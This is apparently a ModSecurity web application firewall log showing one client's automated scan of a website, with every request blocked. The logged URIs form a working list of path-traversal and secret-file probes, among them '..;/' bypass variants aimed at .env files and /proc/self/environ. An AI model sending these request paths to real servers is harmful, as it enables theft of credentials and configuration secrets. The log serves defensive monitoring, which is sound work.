[Sun Oct 25 22:08:47.605677 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at62L_v3Bqe9ulig-nTwrAAAAAk"]
[Sun Oct 25 22:08:47.606095 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at62L_v3Bqe9ulig-nTwrAAAAAk"]
[Sun Oct 25 22:08:47.615620 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at62L9YvsK9lv2bQxMABngAAABA"]
[Sun Oct 25 22:08:47.615835 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at62L9YvsK9lv2bQxMABngAAABA"]
[Sun Oct 25 22:08:47.616076 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at62L9YvsK9lv2bQxMABngAAABA"]
[Sun Oct 25 22:08:47.625224 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/home/user/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at62Lwdfoouc32iEpvzFkAAAAA8"]
[Sun Oct 25 22:08:47.625435 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at62Lwdfoouc32iEpvzFkAAAAA8"]
[Sun Oct 25 22:08:47.625683 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at62Lwdfoouc32iEpvzFkAAAAA8"]
[Sun Oct 25 22:08:47.627359 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at62LzmmX3asvCDITlDxewAAAAA"]
[Sun Oct 25 22:08:47.627585 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at62LzmmX3asvCDITlDxewAAAAA"]
[Sun Oct 25 22:08:47.627922 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at62LzmmX3asvCDITlDxewAAAAA"]
[Sun Oct 25 22:08:47.650088 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62L0DZB1z45uajChfUQAAAAAs"]
[Sun Oct 25 22:08:47.650298 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62L0DZB1z45uajChfUQAAAAAs"]
[Sun Oct 25 22:08:47.650588 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62L0DZB1z45uajChfUQAAAAAs"]
[Sun Oct 25 22:08:47.697155 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62LxaKu-Zjs56a5J4sCAAAAAo"]
[Sun Oct 25 22:08:47.697386 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62LxaKu-Zjs56a5J4sCAAAAAo"]
[Sun Oct 25 22:08:47.697668 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62LxaKu-Zjs56a5J4sCAAAAAo"]
[Sun Oct 25 22:08:47.705682 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env/public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at62L2jDRrdrYxtsLj26gwAAABk"]
[Sun Oct 25 22:08:47.705887 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at62L2jDRrdrYxtsLj26gwAAABk"]
[Sun Oct 25 22:08:47.706231 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at62L2jDRrdrYxtsLj26gwAAABk"]
[Sun Oct 25 22:08:47.718247 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at62L5HtMtN5e4U4U0biggAAAAI"]
[Sun Oct 25 22:08:47.718348 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at62L5HtMtN5e4U4U0biggAAAAI"]
[Sun Oct 25 22:08:47.718515 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at62L5HtMtN5e4U4U0biggAAAAI"]
[Sun Oct 25 22:08:47.718777 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/..;/.env"] [unique_id "at62L5HtMtN5e4U4U0biggAAAAI"]
[Sun Oct 25 22:08:47.735853 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at62L_xrZFXBolpOk9S1fAAAAAw"]
[Sun Oct 25 22:08:47.736065 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at62L_xrZFXBolpOk9S1fAAAAAw"]
[Sun Oct 25 22:08:47.736343 2026] [security2:error] [pid 2943053:tid 2943053] [client 34.81.7.133:40318] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at62L_xrZFXBolpOk9S1fAAAAAw"]
[Sun Oct 25 22:08:47.740100 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at62L4Cf_dn79BGji-V_CQAAAAg"]
[Sun Oct 25 22:08:47.740168 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at62L4Cf_dn79BGji-V_CQAAAAg"]
[Sun Oct 25 22:08:47.747102 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at62L4Cf_dn79BGji-V_CQAAAAg"]
[Sun Oct 25 22:08:47.747335 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at62L4Cf_dn79BGji-V_CQAAAAg"]
[Sun Oct 25 22:08:47.747621 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62L4Lcv9dw313oUE99-QAAAAM"]
[Sun Oct 25 22:08:47.747758 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62L4Lcv9dw313oUE99-QAAAAM"]
[Sun Oct 25 22:08:47.747987 2026] [security2:error] [pid 2941950:tid 2941950] [client 34.81.7.133:40198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62L4Lcv9dw313oUE99-QAAAAM"]
[Sun Oct 25 22:08:47.748764 2026] [security2:error] [pid 2943060:tid 2943060] [client 34.81.7.133:40364] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at62Lx1tc7D757RCCKYAYQAAABQ"]
[Sun Oct 25 22:08:47.748874 2026] [security2:error] [pid 2943060:tid 2943060] [client 34.81.7.133:40364] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at62Lx1tc7D757RCCKYAYQAAABQ"]
[Sun Oct 25 22:08:47.749047 2026] [security2:error] [pid 2943060:tid 2943060] [client 34.81.7.133:40364] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at62Lx1tc7D757RCCKYAYQAAABQ"]
[Sun Oct 25 22:08:47.749386 2026] [security2:error] [pid 2943060:tid 2943060] [client 34.81.7.133:40364] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at62Lx1tc7D757RCCKYAYQAAABQ"]
[Sun Oct 25 22:08:47.772877 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at62L7Zn9l1fDWzMN3C82AAAAAQ"]
